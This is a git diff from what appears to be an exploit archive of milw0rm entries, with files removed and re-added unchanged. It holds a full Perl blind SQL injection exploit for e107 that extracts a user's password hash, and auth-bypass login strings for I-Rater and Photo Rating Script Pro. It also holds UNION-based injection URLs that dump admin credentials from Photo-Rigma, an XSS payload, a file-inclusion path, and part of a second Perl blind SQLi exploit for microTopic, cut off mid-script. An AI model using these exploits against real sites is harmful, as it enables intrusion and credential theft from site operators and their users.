-# http://www.youtube.com/watch?v=0rgInHvW8Ic
-# http://www.youtube.com/watch?v=O2y62xcUJ8E
-# ---------------------------------------------
-
-use LWP::UserAgent;
-
-
-my $prefix = "e107_"; # default table_prefix
-my $type_i = undef;
-my $sock_u = new LWP::UserAgent;
-
-my ($domain,$user_name,$user_pwd,$target) = @ARGV;
-
-
-e107::Usage() unless scalar (@ARGV) > 3; 
-  
-e107::Login($user_name,$user_pwd);
-$type_i = e107::ExtendedField();
-e107::Exploit();
-    
-
-sub e107::Usage
-{
-       print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
-       print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
-       print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
-       exit;
-}       
-
-sub e107::Exploit
-{
-     e107::Vulnerable();
-     e107::BruteForce(); 
-}
-
-
-
-sub e107::SqlQuery
-{
-       my ($do_query,$response,$start,$down,$element);
-       
-       $do_query = $_[0] || die $!;
-       
-       $start = time();
-  
-       $response = $sock_u->post($domain.'/usersettings.php',
-                               [
-                                 "email"           => 'doesnt@exists.net',
-                                 "ue[user_$type_i]" => 1,
-                                 "hide[$do_query]" => 1,
-                                 "updatesettings"  => 'Save Settings',
-                              ]) or die $!;
-       $down = time();
-       
-       return $down - $start;                            
-}
-
-
-
-sub e107::CheckField
-{
-       my ($do_query,$response,$start,$down,$element);
-       
-       $do_query = $_[0];
-       $element  = $_[1] || die $!;  
-       
-       
-       $start = time();
-  
-       $response = $sock_u->post($domain.'/usersettings.php',
-                               [
-                                 "email"           => 'doesnt@exists.net',
-                                 "ue[user_$element]" => 1,
-                                 "hide[$do_query]" => 1,
-                                 "updatesettings"  => 'Save Settings',
-                              ]) or die $!;
-       $down = time();
-       
-       return $down - $start;                            
-}
-      
-      
-
-sub e107::ExtendedField
-{
-       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
-       
-       my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
-                   "/**/benchmark(100000000,CHAR(0))/**/END#";
-                   
-       for (my $i=1;$i<8;$i++) {
-             
-             if (e107::CheckField($query,$fields[$i]) > 6) {
-                return $fields[$i]; last;
-             }     
-             unless ($i != 8 && $fields[$i]) {
-               die("Site not vulnerable..\n");
-             }
-       }          
-} 
-        
-        
-
-sub e107::SqlBrute
-{
-       my $ascii = $_[0];
-       my $limit = $_[1] || 1;
-       
-       my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
-                       "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
-                       "WHERE/**/user_id=$target)#";
-       
-       return $sql_query;                
-}
-
-
-
-sub e107::BruteForce
-{
-       my $i = 1;
-       my @charset = (97..102,48..57);
-       my $convert = undef;
-       my $result  = undef;
-       
-       
-       for ($i..32) {
-             
-             foreach $convert (@charset) {
-                   
-                   if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
-                      syswrite(STDOUT,chr($convert)); $i++;
-                      last; $result .= chr($convert);
-                   }              
-             }
-       }
-       
-       unless (length($result) != 32) {
-          print "\nHash MD5: $result\n";
-          print "User ID: $target\n";
-       }
-}
-
-
-
-sub e107::Vulnerable
-{             
-       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
-       
-       for (my $i=1;$i<8;$i++) {
-       
-            if ($fields[$i] eq $type_i) {
-               print "Exploiting..\n"; last;
-            }
-            else {
-               die ("Site not vulnerable..\n");
-            }
-       }             
-}       
-    
-                         
-
-sub e107::Login
-{
-        my ($username,$password) = @_;
-        my ($result,$response);
-        
-        $response =  $sock_u->post($domain.'/signup.php',
-                                 [
-                                   username  => $username,
-                                   userpass  => $password,
-                                   userlogin => 'Login',
-                                   autologin => 0
-                                 ]) or die $!;
-        
-        $result = $response->as_string;                         
-                                 
-        if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
-             $sock_u->default_header('Cookie' => "e107cookie=$1.$2;"); 
-             $sock_u->agent('Lynx (textmode) - Logged');
-        }
-        else {
-           die("Login failed..\n");
-        }   
-}
-
-# milw0rm.com [2009-04-20]
+#!/usr/bin/env perl
+#
+# e107 <= 0.7.15 "extended_user_fields" Blind SQL Injection Exploit
+#
+# Description
+# -------------------------------------------------------------------
+# e107 contains one flaw that allows an attacker to carry out an SQL
+# injection attack. The issue is due to the "usersettings.php" script 
+# not properly saniting user-supplied input to the hide[] key. 
+# This may allow an attacker to inject or manipulate sql queries in
+# the backend database if magic_quotes_gpc = off.
+# -------------------------------------------------------------------
+# Code Details (usersettings.php) 
+# -------------------------------------------------------------------
+# Line 433 - 441 
+#
+# if($ue_fields) {
+#    $hidden_fields = implode("^", array_keys($_POST['hide'])); <------ {1}
+#     
+#     if($hidden_fields != "")
+#     {
+#	 $hidden_fields = "^".$hidden_fields."^";  
+#     }
+#     $ue_fields .= ", user_hidden_fields = '".$hidden_fields."'"; <---- {2}
+#   }
+#
+# Line 470 - 476
+#  
+#  if($ue_fields) 
+#  {
+#    [etc..]
+#    $sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");
+#  }  
+#  
+# ue[] POST variable needs a valid key
+# such as "aim","msn" or other user_extended_fields
+# (@fields array). 
+#
+# Fix this sql injection using (php function)
+# mysql_real_escape_string to the POST 'hide' key,
+# otherwise find a way to fix it. dont care
+# ------------------------------------------
+# Discovered & Written 
+# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
+#  
+# Thanks to
+# ---------------------------------------------
+# JosS,girex,str0ke,certaindeath,plucky
+# #zeroidentity chan - http://zeroidentity.org
+# ---------------------------------------------
+# http://www.youtube.com/watch?v=0rgInHvW8Ic
+# http://www.youtube.com/watch?v=O2y62xcUJ8E
+# ---------------------------------------------
+
+use LWP::UserAgent;
+
+
+my $prefix = "e107_"; # default table_prefix
+my $type_i = undef;
+my $sock_u = new LWP::UserAgent;
+
+my ($domain,$user_name,$user_pwd,$target) = @ARGV;
+
+
+e107::Usage() unless scalar (@ARGV) > 3; 
+  
+e107::Login($user_name,$user_pwd);
+$type_i = e107::ExtendedField();
+e107::Exploit();
+    
+
+sub e107::Usage
+{
+       print "e107 <= 0.7.15 'extended_user_fields' Blind SQL Injection Exploit\n";
+       print "Usage: perl xpl.pl http://[host]/[path] [username] [password] [target id]\n";
+       print "Usage: perl xpl.pl http://localhost/e107 yeat an4rchy 1\n";
+       exit;
+}       
+
+sub e107::Exploit
+{
+     e107::Vulnerable();
+     e107::BruteForce(); 
+}
+
+
+
+sub e107::SqlQuery
+{
+       my ($do_query,$response,$start,$down,$element);
+       
+       $do_query = $_[0] || die $!;
+       
+       $start = time();
+  
+       $response = $sock_u->post($domain.'/usersettings.php',
+                               [
+                                 "email"           => 'doesnt@exists.net',
+                                 "ue[user_$type_i]" => 1,
+                                 "hide[$do_query]" => 1,
+                                 "updatesettings"  => 'Save Settings',
+                              ]) or die $!;
+       $down = time();
+       
+       return $down - $start;                            
+}
+
+
+
+sub e107::CheckField
+{
+       my ($do_query,$response,$start,$down,$element);
+       
+       $do_query = $_[0];
+       $element  = $_[1] || die $!;  
+       
+       
+       $start = time();
+  
+       $response = $sock_u->post($domain.'/usersettings.php',
+                               [
+                                 "email"           => 'doesnt@exists.net',
+                                 "ue[user_$element]" => 1,
+                                 "hide[$do_query]" => 1,
+                                 "updatesettings"  => 'Save Settings',
+                              ]) or die $!;
+       $down = time();
+       
+       return $down - $start;                            
+}
+      
+      
+
+sub e107::ExtendedField
+{
+       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
+       
+       my $query = "\x27/**/OR/**/CASE/**/WHEN(1>0)/**/THEN".
+                   "/**/benchmark(100000000,CHAR(0))/**/END#";
+                   
+       for (my $i=1;$i<8;$i++) {
+             
+             if (e107::CheckField($query,$fields[$i]) > 6) {
+                return $fields[$i]; last;
+             }     
+             unless ($i != 8 && $fields[$i]) {
+               die("Site not vulnerable..\n");
+             }
+       }          
+} 
+        
+        
+
+sub e107::SqlBrute
+{
+       my $ascii = $_[0];
+       my $limit = $_[1] || 1;
+       
+       my $sql_query = "\x27/**/OR/**/(SELECT/**/IF((ASCII(SUBSTRING(user_password,$limit,1))".
+                       "=$ascii),benchmark(200000000,CHAR(0)),0)/**/FROM/**/${prefix}user/**/".
+                       "WHERE/**/user_id=$target)#";
+       
+       return $sql_query;                
+}
+
+
+
+sub e107::BruteForce
+{
+       my $i = 1;
+       my @charset = (97..102,48..57);
+       my $convert = undef;
+       my $result  = undef;
+       
+       
+       for ($i..32) {
+             
+             foreach $convert (@charset) {
+                   
+                   if (e107::SqlQuery(e107::SqlBrute($convert,$i)) > 9) {
+                      syswrite(STDOUT,chr($convert)); $i++;
+                      last; $result .= chr($convert);
+                   }              
+             }
+       }
+       
+       unless (length($result) != 32) {
+          print "\nHash MD5: $result\n";
+          print "User ID: $target\n";
+       }
+}
+
+
+
+sub e107::Vulnerable
+{             
+       my @fields = ('yeat','aim','birthday','icq','language','location','msn','yahoo','homepage');
+       
+       for (my $i=1;$i<8;$i++) {
+       
+            if ($fields[$i] eq $type_i) {
+               print "Exploiting..\n"; last;
+            }
+            else {
+               die ("Site not vulnerable..\n");
+            }
+       }             
+}       
+    
+                         
+
+sub e107::Login
+{
+        my ($username,$password) = @_;
+        my ($result,$response);
+        
+        $response =  $sock_u->post($domain.'/signup.php',
+                                 [
+                                   username  => $username,
+                                   userpass  => $password,
+                                   userlogin => 'Login',
+                                   autologin => 0
+                                 ]) or die $!;
+        
+        $result = $response->as_string;                         
+                                 
+        if ($result =~ /e107cookie=(\d+)\.([0-9a-f]{32})/i) {
+             $sock_u->default_header('Cookie' => "e107cookie=$1.$2;"); 
+             $sock_u->agent('Lynx (textmode) - Logged');
+        }
+        else {
+           die("Login failed..\n");
+        }   
+}
+
+# milw0rm.com [2009-04-20]
diff --git a/platforms/php/webapps/8508.txt b/platforms/php/webapps/8508.txt
index d5f46f7f2..2d5e04e52 100755
--- a/platforms/php/webapps/8508.txt
+++ b/platforms/php/webapps/8508.txt
@@ -1,29 +1,29 @@
-################################################
-###########  I-Rater Platinum V4 ###############
-##### By : Hakxer
-##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
-########## I-Rater Platinum V4 (Auth bypass) Sql injection
-
-poc :
-
-http://www.i-rater.com/platinumadmin.html
-
-in username : admin 'or' 1=1
-in password :
-###############################
-
-################################################
-###########  Photo Rating Script Pro ###########
-##### By : Hakxer
-##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
-########## Photo Rating Script Pro (Auth bypass) Sql injection
-
-poc :
-
-http://www.i-rater.com/pro/admin/login.php
-
-in username : admin 'or' 1=1
-in password :
-###############################
-
-# milw0rm.com [2009-04-21]
+################################################
+###########  I-Rater Platinum V4 ###############
+##### By : Hakxer
+##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
+########## I-Rater Platinum V4 (Auth bypass) Sql injection
+
+poc :
+
+http://www.i-rater.com/platinumadmin.html
+
+in username : admin 'or' 1=1
+in password :
+###############################
+
+################################################
+###########  Photo Rating Script Pro ###########
+##### By : Hakxer
+##### Greetz : ExH , ProViDoR , Error Code , Bright D@rk , Stealth , Kof2002 , Data_fr34ck3r , HcJ , Virus_hima
+########## Photo Rating Script Pro (Auth bypass) Sql injection
+
+poc :
+
+http://www.i-rater.com/pro/admin/login.php
+
+in username : admin 'or' 1=1
+in password :
+###############################
+
+# milw0rm.com [2009-04-21]
diff --git a/platforms/php/webapps/8532.txt b/platforms/php/webapps/8532.txt
index 645fc687b..d618ce38f 100755
--- a/platforms/php/webapps/8532.txt
+++ b/platforms/php/webapps/8532.txt
@@ -1,149 +1,149 @@
-***********************************************************************************************
-***********************************************************************************************
-**	       										     **
-**  											     **
-**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
-**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
-** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
-**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
-**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
-**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
-   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
-**							                                     **
-**    											     **
-**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
-**					¡PROUD TO BE SPANISH!				     **
-**											     **
-***********************************************************************************************
-***********************************************************************************************
-
-----------------------------------------------------------------------------------------------
-|       	   	   REMOTE SQL INJECTION (SQLi) VULNERABILITY	             	     |
-|--------------------------------------------------------------------------------------------|
-|                         	|      Photo-Rigma.BiZ v30     |		 	     |
-|  CMS INFORMATION:		 ------------------------------			             |
-|										             |
-|-->WEB: http://foto.rigma.biz (affected)		     				     |
-|-->DOWNLOAD: http://sourceforge.net/projects/photo-rigmabiz/ 	   		             |
-|-->DEMO: http://foto.rigma.biz								     |
-|-->CATEGORY: CMS / Portals								     |
-|-->DESCRIPTION: Photo gallery open source project.	                                     |											     |
-|-->RELEASED: 2009-04-24								     |
-|											     |
-|  CMS VULNERABILITY:									     |
-|											     |
-|-->TESTED ON: firefox 3								     |
-|-->DORK: N/A										     |
-|-->CATEGORY: SQL INJECTION (SQLi) / XSS						     |
-|-->AFFECT VERSION: V30						     			     |
-|-->Discovered Bug date: 2009-04-24							     |
-|-->Reported Bug date: 2009-04-24							     |
-|-->Fixed bug date: Not fixed								     |
-|-->Info patch: Not fixed							             |
-|-->Author: YEnH4ckEr									     |
-|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
-|-->WEB/BLOG: N/A									     |
-|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
-|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
-----------------------------------------------------------------------------------------------
-
-
-    ||||||||||||||||||||||||
-    ||||||||||||||||||||||||
-----||||                ||||----
-----|||| SQL INJECTION  ||||----
-----||||                ||||----
-    ||||||||||||||||||||||||
-    ||||||||||||||||||||||||
-
-
-
-
-<<<<<<<<ºººººººººººººº----------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~----------ººººººººººººººº>>>>>>>>
-				CONDITION: magic_quotes_gpc=off
-<<<<<<<<ººººººººººººº---------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~------------ººººººººººººººº>>>>>>>>
-
-
-
-#######################
-#######################
-## PROOF OF CONCEPT: ##
-#######################
-#######################
-
-
-1.- Get var ::::: "uid":
-
-
-
-http://[HOST]/[HOME_PATH]/?action=login&subact=profile&uid=1+AND+0+UNION+ALL+SELECT+1,2,3,version(),database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
-
-
-
-2.- Search Post Form ::::: "poisk":
-
-
-
-%' AND 0 UNION ALL SELECT 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
-
-
-
-~~~---->>Return: version and database.
-
-
-###############
-###############
-##  EXPLOIT: ##
-###############
-###############
-
-
-1.-
-
-
-http://[HOST]/[HOME_PATH]/?action=login&subact=profile&uid=1+AND+0+UNION+ALL+SELECT+1,2,3,login,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+FROM+user+WHERE+id=1/*
-
-
-
-2.-
-
-
-%' AND 0 UNION ALL SELECT 1,2,3,concat(login,'<<::>>',password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 FROM user WHERE id=1#
-
-
-
-~~~---->>Return: login and password for user id one (admin).
-
-
-
-    ||||||||||||||||||||||||
-    ||||||||||||||||||||||||
-----||||                ||||----
-----|||| XSS (SEARCH)   ||||----
-----||||                ||||----
-    ||||||||||||||||||||||||
-    ||||||||||||||||||||||||
-
-
-
-Search Post Form --> "><script>alert('y3nh4ck3r was here!')</script>
-
-
-
-<<<-----------------------------EOF---------------------------------->>>ENJOY IT!
-
-
-
-#######################################################################
-#######################################################################
-##*******************************************************************##
-## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
-##*******************************************************************##
-##-------------------------------------------------------------------##
-##*******************************************************************##
-##       GREETZ TO: JosS and all spanish Hack3Rs community!          ##
-##*******************************************************************##
-#######################################################################
-#######################################################################
-
-# milw0rm.com [2009-04-24]
+***********************************************************************************************
+***********************************************************************************************
+**	       										     **
+**  											     **
+**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
+**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []    []    **
+** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
+**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
+**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
+**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
+   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
+**							                                     **
+**    											     **
+**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
+**					¡PROUD TO BE SPANISH!				     **
+**											     **
+***********************************************************************************************
+***********************************************************************************************
+
+----------------------------------------------------------------------------------------------
+|       	   	   REMOTE SQL INJECTION (SQLi) VULNERABILITY	             	     |
+|--------------------------------------------------------------------------------------------|
+|                         	|      Photo-Rigma.BiZ v30     |		 	     |
+|  CMS INFORMATION:		 ------------------------------			             |
+|										             |
+|-->WEB: http://foto.rigma.biz (affected)		     				     |
+|-->DOWNLOAD: http://sourceforge.net/projects/photo-rigmabiz/ 	   		             |
+|-->DEMO: http://foto.rigma.biz								     |
+|-->CATEGORY: CMS / Portals								     |
+|-->DESCRIPTION: Photo gallery open source project.	                                     |											     |
+|-->RELEASED: 2009-04-24								     |
+|											     |
+|  CMS VULNERABILITY:									     |
+|											     |
+|-->TESTED ON: firefox 3								     |
+|-->DORK: N/A										     |
+|-->CATEGORY: SQL INJECTION (SQLi) / XSS						     |
+|-->AFFECT VERSION: V30						     			     |
+|-->Discovered Bug date: 2009-04-24							     |
+|-->Reported Bug date: 2009-04-24							     |
+|-->Fixed bug date: Not fixed								     |
+|-->Info patch: Not fixed							             |
+|-->Author: YEnH4ckEr									     |
+|-->mail: y3nh4ck3r[at]gmail[dot]com							     |
+|-->WEB/BLOG: N/A									     |
+|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
+|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)			     |
+----------------------------------------------------------------------------------------------
+
+
+    ||||||||||||||||||||||||
+    ||||||||||||||||||||||||
+----||||                ||||----
+----|||| SQL INJECTION  ||||----
+----||||                ||||----
+    ||||||||||||||||||||||||
+    ||||||||||||||||||||||||
+
+
+
+
+<<<<<<<<ºººººººººººººº----------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~----------ººººººººººººººº>>>>>>>>
+				CONDITION: magic_quotes_gpc=off
+<<<<<<<<ººººººººººººº---------~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~------------ººººººººººººººº>>>>>>>>
+
+
+
+#######################
+#######################
+## PROOF OF CONCEPT: ##
+#######################
+#######################
+
+
+1.- Get var ::::: "uid":
+
+
+
+http://[HOST]/[HOME_PATH]/?action=login&subact=profile&uid=1+AND+0+UNION+ALL+SELECT+1,2,3,version(),database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/*
+
+
+
+2.- Search Post Form ::::: "poisk":
+
+
+
+%' AND 0 UNION ALL SELECT 1,2,3,user(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
+
+
+
+~~~---->>Return: version and database.
+
+
+###############
+###############
+##  EXPLOIT: ##
+###############
+###############
+
+
+1.-
+
+
+http://[HOST]/[HOME_PATH]/?action=login&subact=profile&uid=1+AND+0+UNION+ALL+SELECT+1,2,3,login,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+FROM+user+WHERE+id=1/*
+
+
+
+2.-
+
+
+%' AND 0 UNION ALL SELECT 1,2,3,concat(login,'<<::>>',password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 FROM user WHERE id=1#
+
+
+
+~~~---->>Return: login and password for user id one (admin).
+
+
+
+    ||||||||||||||||||||||||
+    ||||||||||||||||||||||||
+----||||                ||||----
+----|||| XSS (SEARCH)   ||||----
+----||||                ||||----
+    ||||||||||||||||||||||||
+    ||||||||||||||||||||||||
+
+
+
+Search Post Form --> "><script>alert('y3nh4ck3r was here!')</script>
+
+
+
+<<<-----------------------------EOF---------------------------------->>>ENJOY IT!
+
+
+
+#######################################################################
+#######################################################################
+##*******************************************************************##
+## ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
+##*******************************************************************##
+##-------------------------------------------------------------------##
+##*******************************************************************##
+##       GREETZ TO: JosS and all spanish Hack3Rs community!          ##
+##*******************************************************************##
+#######################################################################
+#######################################################################
+
+# milw0rm.com [2009-04-24]
diff --git a/platforms/php/webapps/8546.txt b/platforms/php/webapps/8546.txt
index 99b6d602d..858ba2738 100755
--- a/platforms/php/webapps/8546.txt
+++ b/platforms/php/webapps/8546.txt
@@ -1,15 +1,15 @@
-##########################################################################################
-[+] Thickbox Gallery v2 Local File Inclusion Vulnerability
-[+] Discovered By SirGod
-[+] www.mortal-team.net
-[+] www.h4cky0u.org
-##########################################################################################
-
-[+] Local File Inclusion
-
-   PoC :
-    http://127.0.0.1/[path]/index.php?ln=../../../../../../BOOTSECT.BAK%00
-
-##########################################################################################
-
-# milw0rm.com [2009-04-27]
+##########################################################################################
+[+] Thickbox Gallery v2 Local File Inclusion Vulnerability
+[+] Discovered By SirGod
+[+] www.mortal-team.net
+[+] www.h4cky0u.org
+##########################################################################################
+
+[+] Local File Inclusion
+
+   PoC :
+    http://127.0.0.1/[path]/index.php?ln=../../../../../../BOOTSECT.BAK%00
+
+##########################################################################################
+
+# milw0rm.com [2009-04-27]
diff --git a/platforms/php/webapps/8655.pl b/platforms/php/webapps/8655.pl
index 2f8ffdd34..51c8c9ebb 100755
--- a/platforms/php/webapps/8655.pl
+++ b/platforms/php/webapps/8655.pl
@@ -1,227 +1,227 @@
-#!/usr/bin/perl
-#***********************************************************************************************
-#***********************************************************************************************
-#**	       										      **
-#**  											      **
-#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
-#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []   []      **
-#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
-#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
-#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
-#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
-#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
-#**							                                      **
-#**    											      **
-#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
-#**					  ¡PROUD TO BE SPANISH!	                              **
-#**											      **
-#***********************************************************************************************
-#***********************************************************************************************
-#
-#----------------------------------------------------------------------------------------------
-#|       	   	     (POST var 'rating') BLIND SQL INJECTION		              |
-#|--------------------------------------------------------------------------------------------|
-#|                         	  | microTopic v1 Initial Release |		 	      |
-#|  CMS INFORMATION:		   -------------------------------			      |
-#|										              |
-#|-->WEB: http://sourceforge.net/projects/microtopic/		   		              |
-#|-->DOWNLOAD: http://sourceforge.net/projects/microtopic/ 	   		              |
-#|-->DEMO: N/A										      |
-#|-->CATEGORY: CMS / Portal								      |
-#|-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb  	      |
-#| 		Secure - Hashed challenge/response login Flexible...			      |
-#|											      |
-#|  CMS VULNERABILITY:									      |
-#|											      |
-#|-->TESTED ON: firefox 3.0.10								      |
-#|-->DORK: "N/A"									      |
-#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
-#|-->AFFECT VERSION: v-1								      |
-#|-->Discovered Bug date: 2009-05-08							      |
-#|-->Reported Bug date: 2009-05-08							      |
-#|-->Fixed bug date: 2009-05-10								      |
-#|-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/			      |   
-#|-->Author: YEnH4ckEr									      |
-#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
-#|-->WEB/BLOG: N/A									      |
-#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
-#----------------------------------------------------------------------------------------------
-#
-#------------
-#VULN FILES:
-#------------
-#
-#Path --> [HOME_PATH]/admin/utopic.php
-#
-#It contents:
-#
-#	 $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'
-#           AND ip='$_SERVER[REMOTE_ADDR]'";
-#   $sql=SendSQL($query);
-#
-#Path --> [HOME_PATH]/admin/mysql.php
-#
-#It contents:
-#
-#function SendSQL($query){
-#   $sql=mysql_query($query) or die("CANNOT ".$query);
-#   return $sql;
-# }
-#
-#------------
-#CONDITIONS:
-#------------
-#
-#
-#**magic quotes=off
-#
-#
-#######################################################################
-#######################################################################
-##*******************************************************************##
-##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
-##*******************************************************************##
-##-------------------------------------------------------------------##
-##*******************************************************************##
-##   GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!    ##
-##*******************************************************************##
-#######################################################################
-#######################################################################
-#
-#-------------------EOF---------------------------------->>>ENJOY IT!
-#
-use LWP::UserAgent;
-use HTTP::Request;
-#Subroutines
-sub lw
-{
-	my $SO = $^O;
-	my $linux = "";
-	if (index(lc($SO),"win")!=-1){
-		$linux="0";
-	}else{
-		$linux="1";
-	}		
-	if($linux){
-		system("clear");
-	}
-	else{
-		system("cls");
-		system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");
-		system ("color 02");
-	}
-}
-sub request {
-	my $userag = LWP::UserAgent->new;
-	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
-	my $request = HTTP::Request -> new(POST => $_[0]);
-	$request->content_type('application/x-www-form-urlencoded');
-	$request->content($_[1]); 
-	my $outcode= $userag->request($request)->as_string;
-	return $outcode;
-}
-sub helper {
-	print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";
-	print "\t[XxX] USAGE MODE: [XxX]\n";
-	print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";
-	print "\t[XxX] [HOST]: Web.\n";
-	print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
-	print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";
-	print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n"; 
-}
-sub error {
-	print "\t-----------------------------------------------------------------\n";
-	print "\tWEB IS NOT VULNERABLE!\n";
-	print "\tMaybe --> \n";
-	print "\t1.-Patched\n";
-	print "\t2.-topic doesn't exist\n";
-	print "\t3.-Magic quotes ON\n";
-	print "\tEXPLOIT FAILED!\n";
-	print "\t-----------------------------------------------------------------\n";
-}
-sub testedblindsql {
-	print "\t-----------------------------------------------------------------\n";
-	print "\tWEB IS VULNERABLE!\n";
-	print "\tTested Blind SQL Injection.\n";		
-	print "\tStarting exploit...Waiting...\n"; 
-	print "\t-----------------------------------------------------------------\n";
-}
-sub exploit {
-my $result="";
-$k=1;
-	$z=48;
-	while(($k<=32) && ($z<=126)){
-		$blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";
-		$output=&request($_[0],$blindsqlpost);
-		if ( $output =~ (/\<\/head\>\<body\>/))
-		{
-			$result=$result.chr($z);
-			$k++;
-			$z=47;
-		}
-	if($z==57)
-	{
-		$z=96;
-	}
-#new char
-	$z++; 
-	}
-return $result;
-}
-#Main
-&lw;
-	print "\t\t#########################################################\n\n";
-	print "\t\t#########################################################\n\n";
-	print "\t\t##   microTopic v1 Initial Release - BSQLi Exploit     ##\n\n";
-	print "\t\t##                  Author: Y3nh4ck3r                  ##\n\n";
-	print "\t\t##             Condition: magic quotes=off             ##\n\n";
-	print "\t\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\n\n";
-	print "\t\t##                  Proud to be Spanish!               ##\n\n";
-	print "\t\t#########################################################\n\n";
-	print "\t\t#########################################################\n\n";
-#Init variables
-	my $host=$ARGV[0];
-	my $path=$ARGV[1];	
-	my $topic=$ARGV[2];
-#Build the uri
-	if($path eq "no-path"){
-		$finalhost="http://".$host."/index.php?topic=".$topic;
-	}else{
